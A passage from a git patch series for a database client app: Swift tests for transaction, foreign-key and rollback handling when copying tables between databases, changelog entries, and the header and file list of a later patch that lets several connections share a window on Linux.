-            scope: DatabaseScope(connectionId: UUID(), database: database, schema: nil),
-            connectionName: "server",
-            databaseType: .duckdb,
+            scope: scope,
+            connectionName: scope.database,
+            databaseType: type,
             safeModeLevel: .silent,
             color: .blue
         )
     }
 
+    private func request(
+        _ selections: [ObjectCopySelection],
+        content: ObjectCopyContent,
+        errorHandling: ImportErrorHandling = .stopAndRollback
+    ) -> ObjectCopyRequest {
+        ObjectCopyRequest(
+            source: endpoint(sourceScope, sourceType),
+            destination: .existing(endpoint(targetScope, targetType)),
+            objects: selections,
+            content: content,
+            existingPolicy: .replace,
+            errorHandling: errorHandling,
+            wrapEachTableInTransaction: true
+        )
+    }
+
+    private func dataStep(
+        _ table: String, clears: Bool = false, keyChecks: [ObjectCopyKeyCheck] = [], rollsBack: Bool = true
+    ) -> ObjectCopyTableStep {
+        ObjectCopyTableStep(
+            selection: ObjectCopySelection(kind: .table, name: table, schema: nil),
+            dropStatements: [],
+            sequenceStatements: [],
+            createStatements: [],
+            truncateStatements: clears
+                ? [SyncStatement(sql: "DELETE FROM \(table)", objectName: table, summary: "clear")]
+                : [],
+            columns: ["id"],
+            primaryKeyColumns: ["id"],
+            sourceQuery: "SELECT id FROM \(table)",
+            targetTable: table,
+            targetSchema: nil,
+            estimatedRows: nil,
+            copiesData: true,
+            copiesIdentityColumn: false,
+            note: nil,
+            keyChecks: keyChecks,
+            rollsBack: rollsBack
+        )
+    }
+
+    private func dataPlan(
+        _ steps: [ObjectCopyTableStep],
+        errorHandling: ImportErrorHandling = .stopAndRollback,
+        keysInside: Bool = true
+    ) -> ObjectCopyPlan {
+        ObjectCopyPlan(
+            request: request(steps.map(\.selection), content: .data, errorHandling: errorHandling),
+            createsDatabase: false,
+            tableSteps: steps,
+            definitionSteps: [],
+            keysInside: ObjectCopyKeysInside(created: keysInside, rows: keysInside)
+        )
+    }
+
     /// A replacement: the drop and the create are one unit, which is what makes the structure phase
     /// want a transaction of its own.
-    private func replacementPlan() -> ObjectCopyPlan {
+    private func replacementPlan(errorHandling: ImportErrorHandling = .stopAndRollback) -> ObjectCopyPlan {
         let selection = ObjectCopySelection(kind: .table, name: "orders", schema: nil)
         let step = ObjectCopyTableStep(
             selection: selection,
@@ -88,7 +236,7 @@ struct ObjectCopyTransactionTests {
             truncateStatements: [],
             columns: [],
             primaryKeyColumns: ["id"],
-            sourceQuery: "SELECT \"id\" FROM \"orders\"",
+            sourceQuery: "SELECT id FROM orders",
             targetTable: "orders",
             targetSchema: nil,
             estimatedRows: nil,
@@ -96,50 +244,58 @@ struct ObjectCopyTransactionTests {
             copiesIdentityColumn: false,
             note: nil
         )
-        let request = ObjectCopyRequest(
-            source: endpoint("app"),
-            destination: .existing(endpoint("staging")),
-            objects: [selection],
-            content: .structure,
-            existingPolicy: .replace,
-            errorHandling: .stopAndRollback,
-            wrapEachTableInTransaction: true
-        )
         return ObjectCopyPlan(
-            request: request,
+            request: request([selection], content: .structure, errorHandling: errorHandling),
             createsDatabase: false,
             tableSteps: [step],
-            definitionSteps: [],
-            schemaStatements: []
+            definitionSteps: []
         )
     }
 
-    private func run(sessionState: PluginSessionTransactionState) async throws -> (ObjectCopyRunResult, RecordingCopyDriver) {
-        let plugin = RecordingCopyDriver(sessionState: sessionState)
-        let connection = TestFixtures.makeConnection(type: .duckdb)
-        let adapter = PluginDriverAdapter(connection: connection, pluginDriver: plugin)
-        let runner = ObjectCopyRunner(manager: StubMetadataProvider(driver: adapter), gate: AlwaysAllowGate())
-        let result = try await runner.run(replacementPlan(), progress: ObjectCopyProgress(progress: Progress()))
-        return (result, plugin)
+    private func run(
+        _ plan: ObjectCopyPlan,
+        source: RecordingCopyDriver,
+        target: RecordingCopyDriver,
+        leases: CopyEventLog? = nil
+    ) async throws -> ObjectCopyRunResult {
+        let provider = StubMetadataProvider(leases: leases, drivers: [
+            sourceScope.connectionId: PluginDriverAdapter(
+                connection: TestFixtures.makeConnection(type: sourceType), pluginDriver: source
+            ),
+            targetScope.connectionId: PluginDriverAdapter(
+                connection: TestFixtures.makeConnection(type: targetType), pluginDriver: target
+            ),
+        ])
+        let runner = ObjectCopyRunner(manager: provider, gate: AlwaysAllowGate())
+        return try await runner.run(plan, progress: ObjectCopyProgress(progress: Progress()))
     }
 
+    // MARK: - Structure
+
     @Test("An idle session lets the copy open its own transaction")
     func idleSessionKeepsTheCopysOwnTransaction() async throws {
-        let (result, driver) = try await run(sessionState: .idle)
+        let log = CopyEventLog()
+
+        let result = try await run(
+            replacementPlan(), source: RecordingCopyDriver("source", log: log), target: RecordingCopyDriver("target", log: log)
+        )
 
-        #expect(driver.transactionEvents == ["begin", "commit"])
-        #expect(driver.executed == ["DROP TABLE orders;", "CREATE TABLE orders (id INTEGER);"])
+        #expect(log.events == [
+            "target begin", "target DROP TABLE orders;", "target CREATE TABLE orders (id INTEGER);", "target commit",
+        ])
         #expect(result.pendingInSessionTransaction == false)
     }
 
     /// The statements still run: they join the transaction the user opened, and only the user can
     /// end it. Opening one over it is what aborted it on DuckDB.
-    @Test("A session holding a transaction is joined rather than wrapped")
+    @Test("A session holding a transaction is joined rather than wrapped, with its keys as they are")
     func openSessionTransactionIsJoined() async throws {
-        let (result, driver) = try await run(sessionState: .inTransaction)
+        let log = CopyEventLog()
+        let target = RecordingCopyDriver("target", log: log, sessionState: .inTransaction)
 
-        #expect(driver.transactionEvents.isEmpty)
-        #expect(driver.executed == ["DROP TABLE orders;", "CREATE TABLE orders (id INTEGER);"])
+        let result = try await run(replacementPlan(), source: RecordingCopyDriver("source", log: log), target: target)
+
+        #expect(log.events == ["target DROP TABLE orders;", "target CREATE TABLE orders (id INTEGER);"])
         #expect(result.pendingInSessionTransaction)
     }
 
@@ -147,9 +303,435 @@ struct ObjectCopyTransactionTests {
     /// so the copy sends none.
     @Test("A session holding locks is joined too")
     func sessionLocksAreJoined() async throws {
-        let (result, driver) = try await run(sessionState: .holdsSessionLocks)
+        let log = CopyEventLog()
+        let target = RecordingCopyDriver("target", log: log, sessionState: .holdsSessionLocks)
+
+        let result = try await run(replacementPlan(), source: RecordingCopyDriver("source", log: log), target: target)
+
+        #expect(!log.events.contains("target begin"))
+        #expect(result.pendingInSessionTransaction)
+    }
+
+    /// PostgreSQL commits an aborted transaction as a ROLLBACK, so a run that keeps going past a
+    /// failure would report tables that were never created.
+    @Test(
+        "Only a run that promises a rollback puts the structure in a transaction",
+        arguments: [ImportErrorHandling.skipAndContinue, .stopAndCommit]
+    )
+    func structureWithoutRollbackHasNoTransaction(errorHandling: ImportErrorHandling) async throws {
+        let log = CopyEventLog()
+
+        _ = try await run(
+            replacementPlan(errorHandling: errorHandling),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log)
+        )
+
+        #expect(log.events == [
+            "target open relaxedForeignKeys",
+            "target DROP TABLE orders;",
+            "target CREATE TABLE orders (id INTEGER);",
+            "target close relaxedForeignKeys",
+        ])
+    }
+
+    /// MySQL refuses a CREATE whose key names a missing table only while the checks are on.
+    @Test("A new table relaxes the target's checks only when its keys stay inside the copy", arguments: [true, false])
+    func creationRelaxesOnlyInsideTheCopy(keysInside: Bool) async throws {
+        let log = CopyEventLog()
+        let base = replacementPlan(errorHandling: .stopAndCommit)
+        let created = base.tableSteps.map { step in
+            ObjectCopyTableStep(
+                selection: step.selection,
+                dropStatements: [],
+                sequenceStatements: [],
+                createStatements: step.createStatements,
+                truncateStatements: [],
+                columns: [],
+                primaryKeyColumns: step.primaryKeyColumns,
+                sourceQuery: step.sourceQuery,
+                targetTable: step.targetTable,
+                targetSchema: nil,
+                estimatedRows: nil,
+                copiesData: false,
+                copiesIdentityColumn: false,
+                note: nil
+            )
+        }
+        let plan = ObjectCopyPlan(
+            request: base.request,
+            createsDatabase: false,
+            tableSteps: created,
+            definitionSteps: [],
+            keysInside: ObjectCopyKeysInside(created: keysInside)
+        )
+
+        _ = try await run(plan, source: RecordingCopyDriver("source", log: log), target: RecordingCopyDriver("target", log: log))
+
+        let create = "target CREATE TABLE orders (id INTEGER);"
+        #expect(log.events == (keysInside
+            ? ["target open relaxedForeignKeys", create, "target close relaxedForeignKeys"]
+            : [create]))
+    }
+
+    @Test("A schema that cannot be created rolls the structure transaction back before the lease returns")
+    func failedSchemaRollsBack() async throws {
+        let log = CopyEventLog()
+        let createSchema = "CREATE SCHEMA staging"
+        let base = replacementPlan()
+        let plan = ObjectCopyPlan(
+            request: base.request,
+            createsDatabase: false,
+            tableSteps: base.tableSteps,
+            definitionSteps: [],
+            schemaStatements: [SyncStatement(sql: createSchema, objectName: "staging", summary: "schema")]
+        )
+
+        await #expect(throws: (any Error).self) {
+            _ = try await run(
+                plan,
+                source: RecordingCopyDriver("source", log: log),
+                target: RecordingCopyDriver("target", log: log, failing: [createSchema])
+            )
+        }
+
+        #expect(log.events == ["target begin", "target \(createSchema)", "target rollback"])
+    }
+
+    // MARK: - Rows
+
+    @Test("Rows are written with the target's keys relaxed inside its transaction, and the source left alone")
+    func rowsAreRelaxedOnTheTargetInsideItsTransaction() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("buildings")]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log)
+        )
+
+        #expect(result.rowsCopied == 1)
+        #expect(log.events == [
+            "target begin",
+            "target open relaxedForeignKeys",
+            "source SELECT id FROM buildings",
+            "target insert",
+            "target close relaxedForeignKeys",
+            "target commit",
+        ])
+    }
+
+    /// Turning the checks back on checks nothing already written, so a child copied without its
+    /// parent's rows would keep pointing at nothing.
+    @Test("Rows whose keys point outside the copy keep the target's checks on")
+    func keysOutsideTheCopyKeepTheChecks() async throws {
+        let log = CopyEventLog()
+
+        _ = try await run(
+            dataPlan([dataStep("buildings")], keysInside: false),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log)
+        )
+
+        #expect(log.events == [
+            "target begin", "source SELECT id FROM buildings", "target insert", "target commit",
+        ])
+    }
+
+    /// Committed table by table, a cycle's first table kept rows pointing at a second that then failed.
+    @Test("Stop and roll back writes every table's rows in one transaction")
+    func rollbackRunsTheRowsInOneTransaction() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("estates"), dataStep("buildings")]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log)
+        )
+
+        #expect(result.rowsCopied == 2)
+        #expect(log.events == [
+            "target begin",
+            "target open relaxedForeignKeys",
+            "source SELECT id FROM estates",
+            "target insert",
+            "source SELECT id FROM buildings",
+            "target insert",
+            "target close relaxedForeignKeys",
+            "target commit",
+        ])
+    }
+
+    /// PostgreSQL commits an aborted transaction as a ROLLBACK, so a table wrapped in one lost
+    /// every batch written ahead of its failure.
+    @Test("Stop and keep what ran commits each batch with the checks on, and counts what a failure kept")
+    func stopAndKeepCommitsEachBatch() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("buildings")], errorHandling: .stopAndCommit),
+            source: RecordingCopyDriver("source", log: log, rowCount: SQLWriteBatchBudget.maximumRows + 1),
+            target: RecordingCopyDriver("target", log: log, failsInsertsAfter: 1)
+        )
+
+        #expect(result.rowsCopied == SQLWriteBatchBudget.maximumRows)
+        #expect(result.failures.map { $0.outcome.rowsCopied } == [SQLWriteBatchBudget.maximumRows])
+        #expect(log.events == ["source SELECT id FROM buildings", "target insert", "target insert"])
+    }
+
+    @Test("A rolled back table reports none of the batches it wrote before failing")
+    func rolledBackFailureCountsNothing() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("buildings")]),
+            source: RecordingCopyDriver("source", log: log, rowCount: SQLWriteBatchBudget.maximumRows + 1),
+            target: RecordingCopyDriver("target", log: log, failsInsertsAfter: 1)
+        )
+
+        #expect(result.rowsCopied == 0)
+        #expect(result.failures.map { $0.outcome.rowsCopied } == [0])
+        #expect(log.events.last == "target rollback")
+    }
+
+    /// Nothing can be taken back there, so leaving the rows out of the count would send a retry over them.
+    @Test("A target with no transactions counts what a stopped or failed table wrote")
+    func untransactionalTargetCountsWhatItKept() async throws {
+        let log = CopyEventLog()
+
+        let stopped = try await Task {
+            try await run(
+                dataPlan([dataStep("buildings")]),
+                source: RecordingCopyDriver("source", log: log),
+                target: RecordingCopyDriver("target", log: log, cancelsOnInsert: true, transactional: false)
+            )
+        }.value
+        let failed = try await run(
+            dataPlan([dataStep("buildings")]),
+            source: RecordingCopyDriver("source", log: log, rowCount: SQLWriteBatchBudget.maximumRows + 1),
+            target: RecordingCopyDriver("target", log: log, failsInsertsAfter: 1, transactional: false)
+        )
+
+        #expect(stopped.cancelled)
+        #expect(stopped.rowsCopied == 1)
+        #expect(failed.rowsCopied == SQLWriteBatchBudget.maximumRows)
+        #expect(!log.events.contains("target begin"))
+        #expect(!log.events.contains("target open relaxedForeignKeys"))
+    }
+
+    @Test("A relaxed copy checks every key it wrote before it commits")
+    func relaxedCopyChecksKeysBeforeCommit() async throws {
+        let log = CopyEventLog()
+        let check = ObjectCopyKeyCheck(constraint: "fk_estate", sql: "SELECT COUNT(*) FROM buildings")
+
+        let result = try await run(
+            dataPlan([dataStep("buildings", keyChecks: [check])]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log)
+        )
+
+        #expect(result.rowsCopied == 1)
+        #expect(log.events == [
+            "target begin",
+            "target SELECT COUNT(*) FROM buildings",
+            "target open relaxedForeignKeys",
+            "source SELECT id FROM buildings",
+            "target insert",
+            "target SELECT COUNT(*) FROM buildings",
+            "target close relaxedForeignKeys",
+            "target commit",
+        ])
+    }
+
+    /// A write-only login copies parents first with the checks on, as it did before they could be relaxed.
+    @Test("A key the account cannot check keeps the target's checks on")
+    func uncheckableKeyKeepsTheChecks() async throws {
+        let log = CopyEventLog()
+        let check = ObjectCopyKeyCheck(constraint: "fk_estate", sql: "SELECT COUNT(*) FROM buildings")
+
+        let result = try await run(
+            dataPlan([dataStep("buildings", keyChecks: [check])]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log, failing: [check.sql])
+        )
+
+        #expect(result.rowsCopied == 1)
+        #expect(log.events == [
+            "target begin",
+            "target SELECT COUNT(*) FROM buildings",
+            "source SELECT id FROM buildings",
+            "target insert",
+            "target commit",
+        ])
+    }
+
+    /// A child read after its parent while the source was changing, or one the source already broke.
+    @Test("A row a key refuses fails the copy and takes every table back")
+    func brokenKeyRollsTheCopyBack() async throws {
+        let log = CopyEventLog()
+        let check = ObjectCopyKeyCheck(constraint: "fk_estate", sql: "SELECT COUNT(*) FROM buildings")
+
+        let result = try await run(
+            dataPlan([dataStep("estates"), dataStep("buildings", keyChecks: [check])]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log, brokenRows: 2)
+        )
+
+        #expect(result.rowsCopied == 0)
+        #expect(result.failures.map { $0.outcome.selection.name } == ["buildings"])
+        #expect(log.events.suffix(2) == ["target close relaxedForeignKeys", "target rollback"])
+    }
+
+    /// MySQL keeps a MyISAM table's rows through a ROLLBACK.
+    @Test("A table the target keeps through a rollback still reports its rows")
+    func tableThatCannotRollBackKeepsItsCount() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("audit", rollsBack: false), dataStep("buildings")]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log, failsInsertsAfter: 1)
+        )
+
+        #expect(log.events.last == "target rollback")
+        #expect(result.rowsCopied == 1)
+        #expect(result.outcomes.map { "\($0.selection.name) \($0.rowsCopied) \($0.error == nil)" } == [
+            "audit 1 true", "buildings 0 false",
+        ])
+    }
+
+    @Test(
+        "Both paths lease the target before the source",
+        arguments: [ImportErrorHandling.stopAndRollback, .stopAndCommit]
+    )
+    func leasesTheTargetFirst(errorHandling: ImportErrorHandling) async throws {
+        let log = CopyEventLog()
+        let leases = CopyEventLog()
+
+        _ = try await run(
+            dataPlan([dataStep("buildings")], errorHandling: errorHandling),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log),
+            leases: leases
+        )
+
+        #expect(leases.events == ["lease staging", "lease app"])
+    }
+
+    @Test("A driver that throws a cancellation keeps the count of the batches before it")
+    func thrownCancellationKeepsTheCount() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("buildings")], errorHandling: .stopAndCommit),
+            source: RecordingCopyDriver("source", log: log, rowCount: SQLWriteBatchBudget.maximumRows + 1),
+            target: RecordingCopyDriver("target", log: log, throwsCancellationAfter: 1)
+        )
+
+        #expect(result.cancelled)
+        #expect(result.rowsCopied == SQLWriteBatchBudget.maximumRows)
+    }
+
+    /// Relaxed, a DELETE would leave rows in a table outside the copy pointing at nothing.
+    @Test("Clears run with the target's keys on, before the rows relax them")
+    func clearsRunWithKeysOn() async throws {
+        let log = CopyEventLog()
+
+        _ = try await run(
+            dataPlan([dataStep("buildings", clears: true)]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log)
+        )
+
+        #expect(log.events == [
+            "target begin",
+            "target DELETE FROM buildings",
+            "target open relaxedForeignKeys",
+            "source SELECT id FROM buildings",
+            "target insert",
+            "target close relaxedForeignKeys",
+            "target commit",
+        ])
+    }
+
+    @Test("A copy that throws puts the target's keys back before rolling back")
+    func failedCopyRestoresKeys() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("buildings")]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log, failsInserts: true)
+        )
+
+        #expect(result.failedCount == 1)
+        #expect(log.events == [
+            "target begin",
+            "target open relaxedForeignKeys",
+            "source SELECT id FROM buildings",
+            "target insert",
+            "target close relaxedForeignKeys",
+            "target rollback",
+        ])
+    }
+
+    @Test("A stopped copy puts the target's keys back outside the cancellation")
+    func cancelledCopyRestoresKeys() async throws {
+        let log = CopyEventLog()
+        let plan = dataPlan([dataStep("buildings")])
+        let source = RecordingCopyDriver("source", log: log)
+        let target = RecordingCopyDriver("target", log: log, cancelsOnInsert: true)
+
+        let result = try await Task { try await run(plan, source: source, target: target) }.value
+
+        #expect(result.cancelled)
+        #expect(log.events == [
+            "target begin",
+            "target open relaxedForeignKeys",
+            "source SELECT id FROM buildings",
+            "target insert",
+            "target close relaxedForeignKeys",
+            "target rollback",
+        ])
+    }
+
+    @Test("Rows joining the session's own transaction keep its keys as they are")
+    func sessionTransactionIsNotRelaxed() async throws {
+        let log = CopyEventLog()
+
+        let result = try await run(
+            dataPlan([dataStep("buildings")]),
+            source: RecordingCopyDriver("source", log: log),
+            target: RecordingCopyDriver("target", log: log, sessionState: .inTransaction)
+        )
 
-        #expect(driver.transactionEvents.isEmpty)
         #expect(result.pendingInSessionTransaction)
+        #expect(log.events == ["source SELECT id FROM buildings", "target insert"])
+    }
+
+    /// The table still holds its own rows, so the source's would be appended beside them. Past that
+    /// failure the rows keep the target's keys, since a child's parent rows can be missing.
+    @Test("Under Skip and continue a table whose clear failed gets no rows, and none are relaxed")
+    func failedClearGetsNoRows() async throws {
+        let log = CopyEventLog()
+        let target = RecordingCopyDriver("target", log: log, failing: ["DELETE FROM buildings"])
+
+        let result = try await run(
+            dataPlan(
+                [dataStep("estates", clears: true), dataStep("buildings", clears: true)],
+                errorHandling: .skipAndContinue
+            ),
+            source: RecordingCopyDriver("source", log: log),
+            target: target
+        )
+
+        #expect(result.failures.map { $0.outcome.selection.name } == ["buildings"])
+        #expect(result.rowsCopied == 1)
+        #expect(log.events == [
+            "target DELETE FROM buildings",
+            "target DELETE FROM estates",
+            "source SELECT id FROM estates",
+            "target insert",
+        ])
     }
 }
diff --git a/apple/changelog.d/3859.added.md b/apple/changelog.d/3859.added.md
new file mode 100644
index 0000000000..16c7fb1157
--- /dev/null
+++ b/apple/changelog.d/3859.added.md
@@ -0,0 +1 @@
+Copy To can stop and keep what ran, or skip a failing object and continue.
diff --git a/apple/changelog.d/3859.changed.md b/apple/changelog.d/3859.changed.md
new file mode 100644
index 0000000000..acd11055bb
--- /dev/null
+++ b/apple/changelog.d/3859.changed.md
@@ -0,0 +1 @@
+Copy To's Stop and roll back now takes back the rows of every table, not only the one that failed.
diff --git a/apple/changelog.d/3859.fixed.1.md b/apple/changelog.d/3859.fixed.1.md
new file mode 100644
index 0000000000..0122ae3c72
--- /dev/null
+++ b/apple/changelog.d/3859.fixed.1.md
@@ -0,0 +1 @@
+Compare & Sync on MySQL and PostgreSQL wrote tables in name order instead of parents first.
diff --git a/apple/changelog.d/3859.fixed.2.md b/apple/changelog.d/3859.fixed.2.md
new file mode 100644
index 0000000000..e6ea911bc0
--- /dev/null
+++ b/apple/changelog.d/3859.fixed.2.md
@@ -0,0 +1 @@
+SQL import and Ignore foreign key checks left a SQLite connection enforcing foreign keys afterwards.
diff --git a/apple/changelog.d/3859.fixed.3.md b/apple/changelog.d/3859.fixed.3.md
new file mode 100644
index 0000000000..8cf7ae481a
--- /dev/null
+++ b/apple/changelog.d/3859.fixed.3.md
@@ -0,0 +1 @@
+Copy To read a whole database one table at a time before showing the review.
diff --git a/apple/changelog.d/3859.fixed.4.md b/apple/changelog.d/3859.fixed.4.md
new file mode 100644
index 0000000000..7340a49a21
--- /dev/null
+++ b/apple/changelog.d/3859.fixed.4.md
@@ -0,0 +1 @@
+Duplicating a PostgreSQL database failed when a table referenced one in another schema.
diff --git a/apple/changelog.d/3859.fixed.5.md b/apple/changelog.d/3859.fixed.5.md
new file mode 100644
index 0000000000..59d9def6fe
--- /dev/null
+++ b/apple/changelog.d/3859.fixed.5.md
@@ -0,0 +1 @@
+Disabling foreign key checks on PostgreSQL without superuser failed the import or aborted the open transaction.
diff --git a/apple/changelog.d/3859.fixed.6.md b/apple/changelog.d/3859.fixed.6.md
new file mode 100644
index 0000000000..c8fc16bddc
--- /dev/null
+++ b/apple/changelog.d/3859.fixed.6.md
@@ -0,0 +1 @@
+After a Copy To into PostgreSQL failed creating a schema, the next Copy To or Compare on that database could fail.
diff --git a/apple/changelog.d/3859.fixed.md b/apple/changelog.d/3859.fixed.md
new file mode 100644
index 0000000000..329492e5b9
--- /dev/null
+++ b/apple/changelog.d/3859.fixed.md
@@ -0,0 +1 @@
+Copy To stopped with a foreign key error on MySQL tables that reference each other or themselves.

From 6f91c0eff34663256969dbed167b12240c145edb Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Wed, 28 Oct 2026 11:38:30 +0100
Subject: [PATCH 12/44] feat(linux-workspace): open several connections in one
 window (#3856)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/ARCHITECTURE.md                         |   12 +-
 linux/changelog.d/3856.added.md               |    1 +
 .../app/src/application/accelerators.rs       |   10 +-
 .../app/src/application/app_window_host.rs    |   20 +-
 .../crates/app/src/application/mcp_bridge.rs  |   21 +-
 linux/crates/app/src/application/mod.rs       |   29 +-
 .../crates/app/src/application/open_files.rs  |    5 +-
 .../app/src/application/quit_sequence.rs      |    6 +-
 .../app/src/application/shortcut_owner.rs     |    4 +-
 linux/crates/app/src/application/tests.rs     |   92 +-
 .../crates/app/src/application/window_host.rs |   12 +-
 .../app/src/application/window_launch.rs      |    5 +-
 .../app/src/application/window_registry.rs    |   10 +-
 .../app/src/services/connection_search.rs     |    9 +
 .../src/services/saved_connection_order.rs    |   30 +
 .../app/src/ui/assistant/assistant_pane.rs    |    5 +-
 .../app/src/ui/assistant/fake_provider.rs     |   24 +
 .../src/ui/export/export_operations_button.rs |    2 +-
 linux/crates/app/src/ui/icons.rs              |    2 +
 linux/crates/app/src/ui/mod.rs                |    1 +
 .../app/src/ui/picker/connection_menu.rs      |   49 +-
 linux/crates/app/src/ui/picker/mod.rs         |    3 +-
 .../app/src/ui/picker/picker_actions.rs       |   56 +-
 linux/crates/app/src/ui/session_target.rs     |   76 +
 .../session_window/connect_failure_details.rs |  179 ++
 .../app/src/ui/session_window/connections.rs  |   80 +-
 .../ui/session_window/file_location_dialog.rs |  100 +-
 linux/crates/app/src/ui/session_window/imp.rs |   56 +-
 .../app/src/ui/session_window/locate_file.rs  |   95 +-
 linux/crates/app/src/ui/session_window/mod.rs | 1013 +++++++---
 .../src/ui/session_window/notifications.rs    |   24 +-
 .../app/src/ui/session_window/secret_retry.rs |   41 +-
 .../app/src/ui/session_window/session_page.rs |  100 +-
 .../src/ui/session_window/session_restore.rs  |   74 +-
 .../src/ui/session_window/session_teardown.rs |  150 +-
 .../session_window/session_window_command.rs  |    7 +-
 .../ui/session_window/session_window_input.rs |   86 +-
 .../app/src/ui/session_window/tests/mod.rs    |   50 +-
 .../ui/session_window/tests/notification.rs   |   15 +-
 .../src/ui/session_window/tests/sessions.rs   |  622 ++++++
 .../src/ui/session_window/window_actions.rs   |  111 +-
 .../crates/app/src/ui/workspace/assistant.rs  |  105 +-
 .../crates/app/src/ui/workspace/close_flow.rs |    8 +-
 .../app/src/ui/workspace/finished_work.rs     |   16 +-
 .../app/src/ui/workspace/health_banner.rs     |   22 +-
 linux/crates/app/src/ui/workspace/imp.rs      |  128 +-
 linux/crates/app/src/ui/workspace/mod.rs      |  578 +++---
 linux/crates/app/src/ui/workspace/row_ops.rs  |    9 -
 linux/crates/app/src/ui/workspace/saves.rs    |    7 +-
 .../app/src/ui/workspace/session_watches.rs   |   16 +-
 linux/crates/app/src/ui/workspace/shell.rs    |  583 ------
 .../ui/workspace/sidebar/connection_tree.rs   | 1483 +++++++++++++++
 .../src/ui/workspace/sidebar/key_listing.rs   |    3 +-
 .../app/src/ui/workspace/sidebar/mod.rs       |  120 +-
 .../sidebar/sidebar_header_factory.rs         |   91 -
 .../src/ui/workspace/sidebar/sidebar_index.rs |   86 +-
 .../src/ui/workspace/sidebar/sidebar_list.rs  |  253 +--
 .../ui/workspace/sidebar/sidebar_list_imp.rs  |   50 +-
 .../src/ui/workspace/sidebar/sidebar_menu.rs  |   69 +-
 .../src/ui/workspace/sidebar/sidebar_model.rs |  482 +++--
 .../ui/workspace/sidebar/sidebar_object.rs    |  126 +-
 .../workspace/sidebar/sidebar_object_imp.rs   |   55 +-
 .../workspace/sidebar/sidebar_row_factory.rs  |  133 --
 .../src/ui/workspace/sidebar/sidebar_view.rs  |  577 ++----
 .../src/ui/workspace/sidebar/store_sync.rs    |  237 +++
 .../app/src/ui/workspace/sidebar/tests.rs     | 1688 +++++++++++++----
 .../app/src/ui/workspace/sidebar/tree_menu.rs |   60 +
 .../app/src/ui/workspace/sidebar/tree_node.rs |  184 ++
 .../app/src/ui/workspace/sidebar/tree_row.rs  |  315 +++
 .../app/src/ui/workspace/status_pages.rs      |    9 +-
 .../app/src/ui/workspace/tab_factory.rs       |   24 +-
 .../crates/app/src/ui/workspace/tab_index.rs  |  100 +-
 .../crates/app/src/ui/workspace/tab_title.rs  |   98 +
 .../app/src/ui/workspace/tests/assistant.rs   |  105 +-
 .../app/src/ui/workspace/tests/close_tab.rs   |   25 +-
 .../app/src/ui/workspace/tests/diagram.rs     |   23 +-
 .../crates/app/src/ui/workspace/tests/keys.rs |   48 +-
 .../src/ui/workspace/tests/large_catalog.rs   |  127 +-
 .../crates/app/src/ui/workspace/tests/mod.rs  |  138 ++
 .../app/src/ui/workspace/tests/references.rs  |   31 +-
 .../app/src/ui/workspace/tests/sessions.rs    |  156 ++
 .../app/src/ui/workspace/tests/shell.rs       |  393 ++++
 .../app/src/ui/workspace/tests/tab_title.rs   |   72 +-
 .../app/src/ui/workspace/workspace_actions.rs |   93 +-
 .../src/ui/workspace/workspace_persistence.rs |   30 +-
 .../app/src/ui/workspace/workspace_shell.rs   |  719 +++++++
 .../src/ui/workspace/workspace_shell_imp.rs   |  151 ++
 .../app/src/ui/workspace/workspace_tabs.rs    |  294 +--
 linux/crates/app/src/workspace/close_guard.rs |  144 +-
 .../crates/app/src/workspace/close_guards.rs  |   85 +-
 .../crates/app/src/workspace/open_sessions.rs |  194 +-
 .../app/src/workspace/open_sessions_record.rs |  134 +-
 linux/crates/app/tests/accessibility/main.rs  |   54 +-
 .../app/tests/application_session_restore.rs  |    7 +-
 linux/crates/app/tests/kill_during_save.rs    |   15 +-
 linux/data/resources/resources.gresource.xml  |    1 +
 linux/data/resources/style.css                |   37 +
 linux/data/resources/ui/workspace-shell.ui    |  242 +++
 linux/data/resources/ui/workspace.ui          |  301 +--
 .../docs/decisions/0012-window-per-session.md |    2 +-
 .../decisions/0028-sessions-share-a-window.md |   41 +
 linux/docs/decisions/README.md                |    3 +-
 linux/docs/regression-tests.md                |    2 +
 linux/docs/state-management.md                |    6 +-
 linux/docs/storage.md                         |    2 +-
 linux/docs/testing.md                         |    4 +-
 linux/po/POTFILES.in                          |   17 +-
 107 files changed, 10675 insertions(+), 4023 deletions(-)
 create mode 100644 linux/changelog.d/3856.added.md
 create mode 100644 linux/crates/app/src/ui/session_target.rs
 create mode 100644 linux/crates/app/src/ui/session_window/connect_failure_details.rs
 create mode 100644 linux/crates/app/src/ui/session_window/tests/sessions.rs
 delete mode 100644 linux/crates/app/src/ui/workspace/row_ops.rs
 delete mode 100644 linux/crates/app/src/ui/workspace/shell.rs
 create mode 100644 linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs
 delete mode 100644 linux/crates/app/src/ui/workspace/sidebar/sidebar_header_factory.rs
 delete mode 100644 linux/crates/app/src/ui/workspace/sidebar/sidebar_row_factory.rs
 create mode 100644 linux/crates/app/src/ui/workspace/sidebar/store_sync.rs
